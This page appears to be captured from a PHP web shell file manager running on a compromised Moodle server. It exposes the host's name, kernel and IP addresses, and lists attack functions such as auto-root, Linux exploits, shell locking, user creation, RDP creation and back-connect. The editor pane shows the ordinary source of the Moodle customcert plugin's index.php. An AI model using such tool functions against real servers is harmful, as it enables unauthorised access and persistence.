Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
mod /
customcert /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxrwxr-x
backup
[ DIR ]
drwxrwxr-x
classes
[ DIR ]
drwxrwxr-x
db
[ DIR ]
drwxrwxr-x
element
[ DIR ]
drwxrwxr-x
includes
[ DIR ]
drwxrwxr-x
lang
[ DIR ]
drwxrwxr-x
mobile
[ DIR ]
drwxrwxr-x
pix
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
yui
[ DIR ]
drwxrwxr-x
.travis.yml
1.16
KB
-rw-rw-r--
CHANGES.md
9.07
KB
-rw-rw-r--
LICENSE.md
34.32
KB
-rw-rw-r--
README.md
1.57
KB
-rw-rw-r--
ajax.php
1.81
KB
-rw-rw-r--
composer.json
199
B
-rw-rw-r--
edit.php
9.37
KB
-rw-rw-r--
edit_element.php
3.86
KB
-rw-rw-r--
index.php
3.91
KB
-rw-rw-r--
lib.php
13.33
KB
-rw-rw-r--
load_template.php
3.86
KB
-rw-rw-r--
manage_templates.php
4.8
KB
-rw-rw-r--
mod_form.php
10.03
KB
-rw-rw-r--
my_certificates.php
3.36
KB
-rw-rw-r--
rearrange.php
5.57
KB
-rw-rw-r--
report.php
1.33
KB
-rw-rw-r--
settings.php
4.59
KB
-rw-rw-r--
styles.css
1.79
KB
-rw-rw-r--
upload_image.php
1.84
KB
-rw-rw-r--
verify_certificate.php
5.2
KB
-rw-rw-r--
version.php
1.36
KB
-rw-rw-r--
view.php
7.57
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php // This file is part of the customcert module for Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page lists all the instances of customcert in a particular course. * * @package mod_customcert * @copyright 2013 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../../config.php'); $id = required_param('id', PARAM_INT); // Course ID. $course = $DB->get_record('course', array('id' => $id), '*', MUST_EXIST); // Requires a login. require_login($course); // Set up the page variables. $pageurl = new moodle_url('/mod/customcert/index.php', array('id' => $course->id)); \mod_customcert\page_helper::page_setup($pageurl, context_course::instance($id), get_string('modulenameplural', 'customcert')); // Additional page setup needed. $PAGE->set_pagelayout('incourse'); $PAGE->navbar->add(get_string('modulenameplural', 'customcert')); // Add the page view to the Moodle log. $event = \mod_customcert\event\course_module_instance_list_viewed::create(array( 'context' => context_course::instance($course->id) )); $event->add_record_snapshot('course', $course); $event->trigger(); // Get the customcerts, if there are none display a notice. if (!$customcerts = get_all_instances_in_course('customcert', $course)) { echo $OUTPUT->header(); notice(get_string('nocustomcerts', 'customcert'), new moodle_url('/course/view.php', array('id' => $course->id))); echo $OUTPUT->footer(); exit(); } // Create the table to display the different custom certificates. $table = new html_table(); if ($usesections = course_format_uses_sections($course->format)) { $table->head = array(get_string('sectionname', 'format_'.$course->format), get_string('name'), get_string('receiveddate', 'customcert')); } else { $table->head = array(get_string('name'), get_string('receiveddate', 'customcert')); } $currentsection = ''; foreach ($customcerts as $customcert) { // Check if the customcert is visible, if so show text as normal, else show it as dimmed. if ($customcert->visible) { $link = html_writer::tag('a', $customcert->name, array('href' => new moodle_url('/mod/customcert/view.php', array('id' => $customcert->coursemodule)))); } else { $link = html_writer::tag('a', $customcert->name, array('class' => 'dimmed', 'href' => new moodle_url('/mod/customcert/view.php', array('id' => $customcert->coursemodule)))); } // If we are at a different section then print a horizontal rule. if ($customcert->section !== $currentsection) { if ($currentsection !== '') { $table->data[] = 'hr'; } $currentsection = $customcert->section; } // Check if there is was an issue provided for this user. if ($certrecord = $DB->get_record('customcert_issues', array('userid' => $USER->id, 'customcertid' => $customcert->id))) { $issued = userdate($certrecord->timecreated); } else { $issued = get_string('notissued', 'customcert'); } // Only display the section column if the course format uses sections. if ($usesections) { $table->data[] = array($customcert->section, $link, $issued); } else { $table->data[] = array($link, $issued); } } echo $OUTPUT->header(); echo html_writer::table($table); echo $OUTPUT->footer();
Close